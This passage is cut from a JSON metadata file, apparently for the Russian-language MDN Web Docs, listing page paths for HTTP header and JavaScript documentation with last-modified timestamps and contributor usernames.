"chrisdavidmills", - "vykulakov", - "jellymary", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Заголовки/If-Unmodified-Since": { - "modified": "2020-10-15T21:54:34.091Z", - "contributors": [ - "Rin15", - "jellymary", - "AlexeyVasilievE" - ] - }, - "Web/HTTP/Заголовки/Last-Modified": { - "modified": "2020-10-15T22:15:38.253Z", - "contributors": [ - "ilyachase" - ] - }, - "Web/HTTP/Заголовки/Origin": { - "modified": "2020-10-15T22:01:53.616Z", - "contributors": [ - "crabovwik" - ] - }, - "Web/HTTP/Заголовки/Pragma": { - "modified": "2020-10-15T22:23:06.217Z", - "contributors": [ - "OlegSo" - ] - }, - "Web/HTTP/Заголовки/Range": { - "modified": "2020-10-15T22:23:56.930Z", - "contributors": [ - "ismorozs" - ] - }, - "Web/HTTP/Заголовки/Referer": { - "modified": "2020-10-15T22:08:22.897Z", - "contributors": [ - "stonetrooper" - ] - }, - "Web/HTTP/Заголовки/Retry-After": { - "modified": "2020-10-15T22:04:40.732Z", - "contributors": [ - "TaizoGem" - ] - }, - "Web/HTTP/Заголовки/Set-Cookie": { - "modified": "2020-10-15T22:22:30.848Z", - "contributors": [ - "wadzari", - "Artemeey", - "ehpc", - "YogSotot" - ] - }, - "Web/HTTP/Заголовки/Strict-Transport-Security": { - "modified": "2020-10-15T22:23:39.989Z", - "contributors": [ - "Bargamut", - "s1lver", - "curdwithraisins" - ] - }, - "Web/HTTP/Заголовки/Vary": { - "modified": "2020-10-15T22:21:15.515Z", - "contributors": [ - "onmotion" - ] - }, - "Web/HTTP/Заголовки/X-Content-Type-Options": { - "modified": "2020-10-15T22:16:15.365Z", - "contributors": [ - "WhiteApfel" - ] - }, - "Web/HTTP/Заголовки/X-Forwarded-For": { - "modified": "2019-03-18T20:52:28.146Z", - "contributors": [ - "krigar1184", - "iliatcymbal" - ] - }, - "Web/HTTP/Заголовки/X-XSS-Protection": { - "modified": "2020-10-15T22:01:31.139Z", - "contributors": [ - "n00b" - ] - }, - "Web/HTTP/Куки": { - "modified": "2019-07-16T04:58:27.981Z", - "contributors": [ - "mrkutin", - "saitonakamura", - "levi2ki", - "GraceAredel", - "isildurpk", - "abmokin", - "serieznyi", - "mariag" - ] - }, - "Web/HTTP/Кэширование": { - "modified": "2020-06-23T16:53:43.781Z", - "contributors": [ - "Vyprichenko", - "DeltaSPb", - "oleg3280", - "arturparkhisenko", - "gummeah", - "mariag", - "koks" - ] - }, - "Web/JavaScript": { - "modified": "2020-10-11T19:17:39.227Z", - "contributors": [ - "Zulcom", - "dknight", - "ryabv", - "QuasiStellar", - "cypper", - "SphinxKnight", - "bakugod", - "Diana_Makarevich", - "tshemsedinov", - "Geloosa", - "drxwat", - "nllsdfx", - "kdex", - "Sviat", - "pk.prog", - "BychekRU", - "L18-666B", - "Saviloff", - "uleming", - "Feschenko", - "IgorGilyazov", - "anton-petrov", - "teoli", - "iAchilles", - "Ladislas", - "researcher", - "Dionys", - "user01", - "karasiov", - "Niquola", - "Megapotz", - "Knyaz Vladimir" - ] - }, - "Web/JavaScript/A_re-introduction_to_JavaScript": { - "modified": "2020-10-21T01:20:45.167Z", - "contributors": [ - "chimit", - "korefusha", - "Kamil-Zakiev", - "EgorChernik", - "aleshkanet", - "CeH9", - "MerkurevSergei", - "shtorin", - "Megabyteceer", - "gudkovdanila", - "pk.prog", - "fscholz", - "forestbird", - "Saviloff", - "Instigator", - "shapoval", - "AlexChuev", - "razarusu", - "kolyuchii", - "PavelGrishaev", - "teoli", - "franza", - "PROgrammaster", - "sergey_tikhonov", - "Dart" - ] - }, - "Web/JavaScript/Closures": { - "modified": "2020-11-13T09:42:08.066Z", - "contributors": [ - "chmsv", - "0NotNull", - "SamTLT", - "Nikitazharkij", - "aprinciple", - "OlegMingaleev", - "demid088", - "wbamberg", - "stranger777", - "borisqua", - "Stejok", - "sersalex", - "meecrobe", - "Megabyteceer", - "TaKo13", - "Saviloff", - "Witadol", - "thetekst", - "fscholz", - "iGanzai", - "khorpyakov", - "ivan.p", - "AlekseyGoryansky", - "AlexKucher", - "mcmimik", - "teoli", - "CJohn" - ] - }, - "Web/JavaScript/Data_structures": { - "modified": "2020-10-08T08:53:54.371Z", - "contributors": [ - "nikolasmelui", - "wentout", - "sashakrauzer", - "faramozzayw", - "Eugeno", - "itsEffy", - "meafmira", - "artrudov", - "miiixsc", - "RomanBykov", - "romannovikov", - "pathliving", - "rockad", - "foobar42", - "letry", - "Megabyteceer", - "kmetto", - "TaKo13", - "alfaslash", - "markgraydev", - "Leo240", - "KANBY", - "fscholz", - "jaguardev", - "teoli", - "dunmaksim", - "uleming" - ] - }, - "Web/JavaScript/Enumerability_and_ownership_of_properties": { - "modified": "2020-03-12T19:43:05.408Z", - "contributors": [ - "Saviloff" - ] - }, - "Web/JavaScript/Equality_comparisons_and_sameness": { - "modified": "2020-03-12T19:42:53.063Z", - "contributors": [ - "HTMan", - "CodeLookBook", - "sgrogov", - "Zarwlar", - "Saviloff", - "Witadol" - ] - }, - "Web/JavaScript/EventLoop": { - "modified": "2020-03-29T11:58:13.454Z", - "contributors": [ - "GalustOsipyan", - "nemrosim", - "cgehuzi", - "AnDeVerin", - "letovlive", - "rgrtuleague", - "IlyaMokin", - "thefasttracker", - "RusPosevkin", - "6thSence", - "andrIvash", - "ivanlemeshev", - "beskrovnykh", - "forestbird", - "Saviloff", - "pashutk", - "fscholz", - "im7mortal" - ] - }, - "Web/JavaScript/Guide": { - "modified": "2020-10-30T03:49:38.404Z", - "contributors": [ - "ksam", - "callisto1337", - "VerkholaAlex", - "T1mL3arn", - "pk.prog", - "BychekRU", - "xmalinov", - "Saviloff", - "HaukIce", - "pashutk", - "astra1", - "Yuriy-Ka", - "Aleksej", - "fscholz", - "dtretyakov", - "teoli", - "danielgn96" - ] - }, - "Web/JavaScript/Guide/About": { - "modified": "2019-05-16T15:03:00.750Z", - "contributors": [ - "wbamberg", - "BychekRU", - "fscholz", - "teoli", - "smfd", - "uleming" - ] - }, - "Web/JavaScript/Guide/Control_flow_and_error_handling": { - "modified": "2020-11-06T04:41:33.787Z", - "contributors": [ - "ksam", - "Japaka90", - "pk.prog", - "igor4949i", - "fscholz", - "IgorGilyazov", - "teoli", - "uleming" - ] - }, - "Web/JavaScript/Guide/Details_of_the_Object_Model": { - "modified": "2020-03-18T16:30:12.782Z", - "contributors": [ - "HardKullez", - "qwerty-wasd", - "imalyavskiy", - "Davidnadejdin", - "SedovDP", - "metelskiy", - "wbamberg", - "rinbik", - "SphinxKnight", - "toolX", - "vherever", - "Megabyteceer", - "ndrsrv", - "NobbsNobby", - "Saviloff", - "makdeb", - "fscholz", - "esskia", - "ivan.p" - ] - }, - "Web/JavaScript/Guide/Expressions_and_Operators": { - "modified": "2020-03-12T19:39:43.277Z", - "contributors": [ - "mikhail.makarov", - "olegsorokin", - "Megabyteceer", - "pk.prog", - "Grumvol", - "BychekRU", - "Leo240", - "roma-derski", - "fscholz", - "denise", - "Corba" - ] - }, - "Web/JavaScript/Guide/Functions": { - "modified": "2020-04-18T01:17:09.834Z", - "contributors": [ - "Nevelskoy", - "shevchenko", - "trman", - "pirimow", - "BulavkinNN", - "kkxley", - "mikhail.makarov", - "Aparin", - "imalyavskiy", - "KoS57", - "prometium", - "jsteacat", - "yankovskiy", - "osmaav", - "postwj", - "d.zheleznov", - "kan.a", - "Sajag", - "sirkon", - "pathliving", - "thepocp", - "ValdemarTerte", - "GoliafRS", - "AlexeySuprun", - "Mainstand", - "Grumvol", - "DeekHalden", - "alitskevich", - "keffidesign", - "JuGeer", - "serhiyv", - "pashutk", - "roma-derski", - "fscholz", - "andrcmdr", - "dixon2002", - "teoli", - "uleming" - ] - }, - "Web/JavaScript/Guide/Grammar_and_types": { - "modified": "2020-03-12T19:37:57.624Z", - "contributors": [ - "kkxley", - "device25", - "pk.prog", - "rus11", - "xkha", - "Grumvol", - "DeekHalden", - "BychekRU", - "JuGeer", - "fscholz", - "IgorGilyazov", - "ph1ex0n", - "Corba", - "teoli", - "uleming" - ] - }, - "Web/JavaScript/Guide/Indexed_collections": { - "modified": "2020-03-12T19:41:25.167Z", - "contributors": [ - "prometium", - "yankovskiy", - "postwj", - "v.bilinskyi", - "pk.prog", - "sergeymakoveev", - "Megabyteceer", - "a302379333", - "Grumvol", - "blitzkrieg393", - "ignusin", - "magetor" - ] - }, - "Web/JavaScript/Guide/Ispolzovanie_promisov": { - "modified": "2020-03-12T19:47:08.646Z", - "contributors": [ - "EgrorBs", - "FrancoisVongue", - "kkxley", - "indalive", - "VitalyTartynov", - "joisadler", - "Lunatic174", - "kefir266", - "yojeek", - "djigach", - "Airomad", - "winexy", - "Geloosa" - ] - }, - "Web/JavaScript/Guide/Iterators_and_Generators": { - "modified": "2020-03-12T19:42:16.480Z", - "contributors": [ - "AlexanderShushunov", - "rinbik", - "sivashev", - "deman", - "Megabyteceer", - "pashutk", - "kav137", - "zgordan-vv", - "danratnikov", - "djsuprin", - "uhomira" - ] - }, - "Web/JavaScript/Guide/JavaScript_Overview": { - "modified": "2019-05-16T14:33:41.396Z", - "contributors": [ - "wbamberg", - "ivan.p", - "fscholz", - "teoli", - "smfd", - "uleming" - ] - }, - "Web/JavaScript/Guide/Keyed_collections": { - "modified": "2020-03-12T19:43:04.309Z", - "contributors": [ - "iameax", - "callisto1337", - "pathliving", - "Megabyteceer", - "alitskevich" - ] - }, - "Web/JavaScript/Guide/Meta_programming": { - "modified": "2020-03-12T19:45:39.027Z", - "contributors": [ - "E-Fir", - "T1mL3arn", - "TotalAMD", - "Dominionys", - "NickTaporuk", - "Megabyteceer" - ] - }, - "Web/JavaScript/Guide/Modules": { - "modified": "2020-11-22T19:25:09.183Z", - "contributors": [ - "rsvato" - ] - }, - "Web/JavaScript/Guide/Numbers_and_dates": { - "modified": "2020-03-12T19:42:19.176Z", - "contributors": [ - "pirimow", - "myszkowski", - "Aparin", - "imalyavskiy", - "lemehovskiy", - "yankovskiy", - "rinbik", - "morpharc", - "Sparks", - "TemmyR", - "Megabyteceer", - "Mavricus", - "Letis-1987", - "OojSmile", - "Grumvol", - "serik1987", - "roma-derski" - ] - }, - "Web/JavaScript/Guide/Predefined_Core_Objects": { - "modified": "2019-03-23T23:06:22.825Z", - "contributors": [ - "wbamberg", - "warsan", - "AlexChuev", - "razarusu" - ] - }, - "Web/JavaScript/Guide/Regular_Expressions": { - "modified": "2020-07-27T10:18:25.178Z", - "contributors": [ - "touze147", - "SphinxKnight", - "DASenkiv", - "qqwweeaassdd", - "rinbik", - "Katarzina", - "laion220995", - "kzotoff", - "WispProxy", - "KysaKey", - "Reiider", - "Grumvol", - "indiefishman", - "romannebesny", - "dstereo", - "rin-nas", - "fscholz", - "keika", - "teoli", - "wilddeer", - "uleming", - "Odysseus" - ] - }, - "Web/JavaScript/Guide/Regular_Expressions/Assertions": { - "modified": "2020-03-12T19:49:10.003Z", - "contributors": [ - "AliaksandrZahorski" - ] - }, - "Web/JavaScript/Guide/Regular_Expressions/Character_Classes": { - "modified": "2020-06-17T18:30:16.759Z", - "contributors": [ - "dknight" - ] - }, - "Web/JavaScript/Guide/Text_formatting": { - "modified": "2020-03-12T19:42:07.543Z", - "contributors": [ - "pirimow", - "Aparin", - "drugoi", - "Grumvol", - "redishko", - "PavelG94", - "Prographer" - ] - }, - "Web/JavaScript/Guide/Working_with_Objects": { - "modified": "2020-03-12T19:37:53.984Z", - "contributors": [ - "mikhail.makarov", - "dyaroman", - "alex_wert_and", - "logty3", - "tonkushin", - "m0nclous", - "secretarius", - "rinbik", - "injashkin", - "alyokhander", - "pathliving", - "Siteograf", - "Matters", - "Megabyteceer", - "atlonis", - "agrygoriev", - "hawkridge", - "NobbsNobby", - "Grumvol", - "TrigDevelopment", - "jigs12", - "vzhikness", - "fscholz", - "walkman2058", - "yekver", - "teoli", - "Mxtnr", - "dimko_desu", - "Vlad.Abdullin", - "uleming" - ] - }, - "Web/JavaScript/Guide/Введение_в_JavaScript": { - "modified": "2020-03-12T19:40:55.089Z", - "contributors": [ - "xxphantom", - "device25", - "boxa6", - "rinbik", - "vladPovalii", - "IgorGilyazov" - ] - }, - "Web/JavaScript/Guide/Об_этом_руководстве": { - "modified": "2019-03-24T00:13:23.720Z", - "contributors": [ - "teoli", - "danielgn96" - ] - }, - "Web/JavaScript/Guide/Циклы_и_итерации": { - "modified": "2020-03-12T19:42:44.557Z", - "contributors": [ - "Aparin", - "Costigans", - "Zinger1988", - "miirinjej", - "bad4iz", - "pathliving", - "EduardKuzhir", - "DeekHalden", - "BychekRU", - "Dvakseno", - "TARTIGA" - ] - }, - "Web/JavaScript/Inheritance_and_the_prototype_chain": { - "modified": "2020-08-29T20:34:02.593Z", - "contributors": [ - "sozdanbogom40", - "shevchenko", - "SadTomCat", - "Nick_Pershin", - "dudinsky", - "Shemil95", - "SedovDP", - "aliaksandr-s", - "ChesterFobitt", - "Saviloff", - "Kapiroska", - "fscholz", - "xxxxx0438", - "SRastrigin", - "Natalya_Surikova", - "Rast1234", - "teoli" - ] - }, - "Web/JavaScript/Introduction_to_Object-Oriented_JavaScript": { - "modified": "2019-06-04T15:16:30.349Z", - "contributors": [ - "MiishaG", - "Trubochkin", - "MefistofelUgur", - "rockad", - "susov", - "movasyl", - "forestbird", - "hydrognomik", - "RayzRazko", - "Leo240", - "impetuhant", - "Saviloff", - "VolodymyrKr", - "iegik" - ] - }, - "Web/JavaScript/JavaScript_technologies_overview": { - "modified": "2020-03-12T19:37:57.231Z", - "contributors": [ - "jynweythek", - "chrisdavidmills", - "miirinjej", - "kulakowka", - "curdwithraisins", - "sersalex", - "fscholz", - "kichik", - "askhat", - "ixidor", - "uleming" - ] - }, - "Web/JavaScript/JavaScript_шеллы": { - "modified": "2020-05-02T11:17:13.805Z", - "contributors": [ - "RenJeka", - "helenasilkina", - "fscholz", - "Alex_Howlett", - "teoli", - "Millionnaire" - ] - }, - "Web/JavaScript/Language_Resources": { - "modified": "2020-03-12T19:37:58.256Z", - "contributors": [ - "nnragmailcom", - "fscholz", - "teoli", - "uleming" - ] - }, - "Web/JavaScript/Memory_Management": { - "modified": "2020-07-14T20:08:19.176Z", - "contributors": [ - "irustm", - "ZeroUnderscoreOu", - "nikolaifedorov", - "vaeum", - "sashashakun", - "fscholz", - "vitkarpov", - "teoli", - "Nick_Pershin", - "nurbek.ab" - ] - }, - "Web/JavaScript/Reference": { - "modified": "2020-03-12T19:36:05.593Z", - "contributors": [ - "Aleksej", - "Mingun", - "teoli", - "Ladislas", - "pashak" - ] - }, - "Web/JavaScript/Reference/Classes": { - "modified": "2020-11-02T03:27:06.842Z", - "contributors": [ - "ITheCorgi", - "blackbrain2009", - "denys.marytchak", - "PaulineNemchak", - "SphinxKnight", - "AnarhistMS", - "YozhEzhi", - "sahmildzhakeev", - "jainashur", - "CaptainCrocus", - "domstrueboy", - "Muffassa", - "Sajag", - "Gamesurf", - "Piterden", - "pathliving", - "alienalien13", - "DyckGerman", - "animhotep", - "feonit", - "zasipin", - "InsidiousClu", - "KTatyana", - "ViZhe", - "sergeymakoveev", - "PinkaminaDianePie", - "RoM4iK", - "sasd97", - "seedofjoy", - "torbasow", - "krest88", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Classes/Class_fields": { - "modified": "2020-11-17T02:37:33.218Z", - "contributors": [ - "kosarev_va", - "warsambin", - "shmel3" - ] - }, - "Web/JavaScript/Reference/Classes/constructor": { - "modified": "2020-11-02T06:02:34.419Z", - "contributors": [ - "ITheCorgi", - "S25AI", - "Bobsans", - "Paul_Yuhnovich", - "galynag", - "dood" - ] - }, - "Web/JavaScript/Reference/Classes/extends": { - "modified": "2020-03-12T19:46:03.525Z", - "contributors": [ - "Nexwich", - "Vlad160", - "Piterden", - "meridos", - "Halkyon", - "Kozhemyak", - "slayermass" - ] - }, - "Web/JavaScript/Reference/Classes/static": { - "modified": "2020-10-15T21:34:19.682Z", - "contributors": [ - "vydayko", - "Bobsans", - "evilive3000", - "andrey-gnl", - "Hydrock", - "Dmitrii_Aleksandrov", - "torbasow", - "terranisu", - "Witadol" - ] - }, - "Web/JavaScript/Reference/Classes/Приватные_поля_класса": { - "modified": "2020-10-15T22:33:38.348Z", - "contributors": [ - "cliggen", - "DarkExodusXX" - ] - }, - "Web/JavaScript/Reference/Deprecated_and_obsolete_features": { - "modified": "2020-03-12T19:48:57.173Z", - "contributors": [ - "boxa6" - ] - }, - "Web/JavaScript/Reference/Errors": { - "modified": "2020-03-12T19:44:11.764Z", - "contributors": [ - "superpuper32", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Errors/Already_has_pragma": { - "modified": "2020-03-12T19:48:44.607Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Array_sort_argument": { - "modified": "2020-03-12T19:48:40.421Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Bad_octal": { - "modified": "2020-03-12T19:46:46.233Z", - "contributors": [ - "Pandemoniumus" - ] - }, - "Web/JavaScript/Reference/Errors/Bad_radix": { - "modified": "2020-03-12T19:47:16.966Z", - "contributors": [ - "KTatyana", - "varyag01" - ] - }, - "Web/JavaScript/Reference/Errors/Bad_regexp_flag": { - "modified": "2020-03-12T19:47:09.430Z", - "contributors": [ - "hahanova" - ] - }, - "Web/JavaScript/Reference/Errors/Bad_return_or_yield": { - "modified": "2020-03-12T19:48:14.916Z", - "contributors": [ - "KTatyana" - ] - }, - "Web/JavaScript/Reference/Errors/Called_on_incompatible_type": { - "modified": "2020-03-12T19:48:52.848Z", - "contributors": [ - "palpich", - "MakarovDs777", - "Toshakins" - ] - }, - "Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init": { - "modified": "2020-03-12T19:47:46.173Z", - "contributors": [ - "rsvato" - ] - }, - "Web/JavaScript/Reference/Errors/Cant_access_property": { - "modified": "2020-03-12T19:48:40.635Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Cant_assign_to_property": { - "modified": "2020-11-09T16:55:40.780Z", - "contributors": [ - "tukumann" - ] - }, - "Web/JavaScript/Reference/Errors/Cant_define_property_object_not_extensible": { - "modified": "2020-03-12T19:48:37.533Z", - "contributors": [ - "Zulcom", - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Cant_delete": { - "modified": "2020-03-12T19:48:41.016Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Cant_redefine_property": { - "modified": "2020-03-12T19:48:43.526Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Cyclic_object_value": { - "modified": "2020-10-19T11:06:58.196Z", - "contributors": [ - "sovushka-utrom", - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Dead_object": { - "modified": "2020-03-12T19:48:38.148Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Delete_in_strict_mode": { - "modified": "2020-03-12T19:48:34.125Z", - "contributors": [ - "Akh-rman", - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Deprecated_String_generics": { - "modified": "2020-03-12T19:48:16.347Z", - "contributors": [ - "KTatyana" - ] - }, - "Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage": { - "modified": "2020-03-12T19:48:07.207Z", - "contributors": [ - "simonprod", - "MakarovDs777", - "Akh-rman" - ] - }, - "Web/JavaScript/Reference/Errors/Deprecated_expression_closures": { - "modified": "2020-03-12T19:48:53.985Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Deprecated_octal": { - "modified": "2020-03-12T19:48:36.042Z", - "contributors": [ - "MakarovDs777", - "ialexi-bl" - ] - }, - "Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma": { - "modified": "2020-03-12T19:46:14.659Z", - "contributors": [ - "medianex" - ] - }, - "Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat": { - "modified": "2020-03-12T19:48:53.962Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Equal_as_assign": { - "modified": "2020-03-12T19:48:37.445Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated": { - "modified": "2020-03-12T19:48:56.664Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Getter_only": { - "modified": "2020-03-12T19:48:43.409Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Identifier_after_number": { - "modified": "2020-03-12T19:48:34.042Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Illegal_character": { - "modified": "2020-03-12T19:46:55.549Z", - "contributors": [ - "Agaff.fm", - "milothea" - ] - }, - "Web/JavaScript/Reference/Errors/Invalid_array_length": { - "modified": "2020-03-12T19:46:53.627Z", - "contributors": [ - "xenikopa" - ] - }, - "Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side": { - "modified": "2020-03-12T19:46:49.095Z", - "contributors": [ - "KTatyana", - "evmnn" - ] - }, - "Web/JavaScript/Reference/Errors/Invalid_const_assignment": { - "modified": "2020-03-12T19:48:42.020Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Invalid_date": { - "modified": "2020-03-12T19:47:15.198Z", - "contributors": [ - "Logiiiin", - "Cronofaq" - ] - }, - "Web/JavaScript/Reference/Errors/Invalid_for-in_initializer": { - "modified": "2020-03-12T19:48:36.053Z", - "contributors": [ - "Akh-rman", - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Invalid_for-of_initializer": { - "modified": "2020-03-12T19:47:46.050Z", - "contributors": [ - "Akh-rman", - "rsvato" - ] - }, - "Web/JavaScript/Reference/Errors/JSON_bad_parse": { - "modified": "2020-03-12T19:47:51.119Z", - "contributors": [ - "Akh-rman", - "djigach" - ] - }, - "Web/JavaScript/Reference/Errors/Malformed_URI": { - "modified": "2020-03-12T19:47:10.234Z", - "contributors": [ - "Logiiiin", - "hunty" - ] - }, - "Web/JavaScript/Reference/Errors/Malformed_formal_parameter": { - "modified": "2020-03-12T19:47:59.198Z", - "contributors": [ - "KTatyana" - ] - }, - "Web/JavaScript/Reference/Errors/Missing_bracket_after_list": { - "modified": "2020-03-12T19:47:12.419Z", - "contributors": [ - "KTatyana", - "kolyuchii" - ] - }, - "Web/JavaScript/Reference/Errors/Missing_colon_after_property_id": { - "modified": "2020-03-12T19:47:16.697Z", - "contributors": [ - "Logiiiin" - ] - }, - "Web/JavaScript/Reference/Errors/Missing_curly_after_function_body": { - "modified": "2020-03-12T19:48:03.575Z", - "contributors": [ - "KTatyana" - ] - }, - "Web/JavaScript/Reference/Errors/Missing_curly_after_property_list": { - "modified": "2020-03-12T19:47:15.796Z", - "contributors": [ - "KTatyana", - "varyag01" - ] - }, - "Web/JavaScript/Reference/Errors/Missing_formal_parameter": { - "modified": "2020-03-12T19:48:33.984Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Missing_initializer_in_const": { - "modified": "2020-03-12T19:47:18.266Z", - "contributors": [ - "Logiiiin" - ] - }, - "Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator": { - "modified": "2020-03-12T19:48:36.581Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list": { - "modified": "2020-03-12T19:45:27.217Z", - "contributors": [ - "richandhandsomeman" - ] - }, - "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition": { - "modified": "2020-03-12T19:47:08.319Z", - "contributors": [ - "thepocp" - ] - }, - "Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement": { - "modified": "2020-03-12T19:46:03.538Z", - "contributors": [ - "KTatyana", - "SedovDP", - "Sparks" - ] - }, - "Web/JavaScript/Reference/Errors/More_arguments_needed": { - "modified": "2020-03-12T19:46:14.923Z", - "contributors": [ - "thepocp" - ] - }, - "Web/JavaScript/Reference/Errors/Negative_repetition_count": { - "modified": "2020-03-12T19:47:21.952Z", - "contributors": [ - "Logiiiin" - ] - }, - "Web/JavaScript/Reference/Errors/No_non-null_object": { - "modified": "2020-03-12T19:48:41.071Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/No_properties": { - "modified": "2020-03-12T19:48:10.284Z", - "contributors": [ - "KTatyana" - ] - }, - "Web/JavaScript/Reference/Errors/No_variable_name": { - "modified": "2020-03-12T19:47:58.181Z", - "contributors": [ - "KTatyana" - ] - }, - "Web/JavaScript/Reference/Errors/Non_configurable_array_element": { - "modified": "2020-03-12T19:48:37.262Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Not_a_codepoint": { - "modified": "2020-03-12T19:47:08.221Z", - "contributors": [ - "KTatyana", - "milothea" - ] - }, - "Web/JavaScript/Reference/Errors/Not_a_constructor": { - "modified": "2020-03-12T19:48:26.755Z", - "contributors": [ - "grebenyukov" - ] - }, - "Web/JavaScript/Reference/Errors/Not_a_function": { - "modified": "2020-03-12T19:44:14.870Z", - "contributors": [ - "merelj", - "elscept", - "winvano", - "vladyslavnes", - "MonX94", - "eedmast", - "s1lver" - ] - }, - "Web/JavaScript/Reference/Errors/Not_defined": { - "modified": "2020-03-12T19:45:01.771Z", - "contributors": [ - "Nik1tasm", - "irodger", - "MrDaedra", - "KurumiToki", - "alexfromvl", - "topcomfort" - ] - }, - "Web/JavaScript/Reference/Errors/Precision_range": { - "modified": "2020-03-12T19:46:12.947Z", - "contributors": [ - "KTatyana", - "rbetristha" - ] - }, - "Web/JavaScript/Reference/Errors/Property_access_denied": { - "modified": "2020-03-12T19:46:14.706Z", - "contributors": [ - "thepocp" - ] - }, - "Web/JavaScript/Reference/Errors/Read-only": { - "modified": "2020-03-12T19:48:38.316Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Redeclared_parameter": { - "modified": "2020-03-12T19:48:00.985Z", - "contributors": [ - "KTatyana" - ] - }, - "Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value": { - "modified": "2020-03-12T19:48:40.523Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Reserved_identifier": { - "modified": "2020-03-12T19:48:30.540Z", - "contributors": [ - "FromQwghlm" - ] - }, - "Web/JavaScript/Reference/Errors/Resulting_string_too_large": { - "modified": "2020-03-12T19:47:15.830Z", - "contributors": [ - "Logiiiin" - ] - }, - "Web/JavaScript/Reference/Errors/Stmt_after_return": { - "modified": "2020-03-12T19:44:12.151Z", - "contributors": [ - "Logiiiin", - "pk.prog", - "naudachu", - "s1lver" - ] - }, - "Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params": { - "modified": "2020-03-12T19:48:33.429Z", - "contributors": [ - "ialexi-bl", - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Too_much_recursion": { - "modified": "2020-03-12T19:46:15.435Z", - "contributors": [ - "thepocp" - ] - }, - "Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments": { - "modified": "2020-03-12T19:48:42.436Z", - "contributors": [ - "fuggy", - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Undeclared_var": { - "modified": "2020-03-12T19:47:38.776Z", - "contributors": [ - "Akh-rman", - "Matthew11770" - ] - }, - "Web/JavaScript/Reference/Errors/Undefined_prop": { - "modified": "2020-03-12T19:47:58.221Z", - "contributors": [ - "KTatyana" - ] - }, - "Web/JavaScript/Reference/Errors/Unexpected_token": { - "modified": "2020-03-12T19:46:02.532Z", - "contributors": [ - "KTatyana", - "NemchinovSergey", - "Sparks" - ] - }, - "Web/JavaScript/Reference/Errors/Unexpected_type": { - "modified": "2020-03-12T19:45:23.586Z", - "contributors": [ - "DanyaSWorlD" - ] - }, - "Web/JavaScript/Reference/Errors/Unnamed_function_statement": { - "modified": "2020-03-12T19:48:37.361Z", - "contributors": [ - "Akh-rman", - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Unterminated_string_literal": { - "modified": "2020-03-12T19:48:38.047Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/in_operator_no_object": { - "modified": "2020-03-12T19:48:40.403Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/invalid_right_hand_side_instanceof_operand": { - "modified": "2020-03-12T19:48:41.158Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/is_not_iterable": { - "modified": "2020-03-12T19:48:36.606Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Errors/Переменные_скрывают_аргумент": { - "modified": "2020-03-12T19:48:55.415Z", - "contributors": [ - "MakarovDs777" - ] - }, - "Web/JavaScript/Reference/Functions": { - "modified": "2020-03-12T19:39:49.358Z", - "contributors": [ - "KoS57", - "nikbelikov", - "SmogHard", - "forestbird", - "teoli", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Functions/Arrow_functions": { - "modified": "2020-10-15T21:31:20.608Z", - "contributors": [ - "MerkUriy", - "iFeltz", - "kliuchyk", - "kkxley", - "coxdn", - "Sajag", - "animhotep", - "vibecode", - "Neiromaster", - "Siteograf", - "TotalAMD", - "bskydive", - "seriouslyfluffy", - "dst", - "vitya-ne", - "theViktor1990", - "uleming", - "kutase123", - "pashutk", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Functions/Default_parameters": { - "modified": "2020-10-15T21:31:19.263Z", - "contributors": [ - 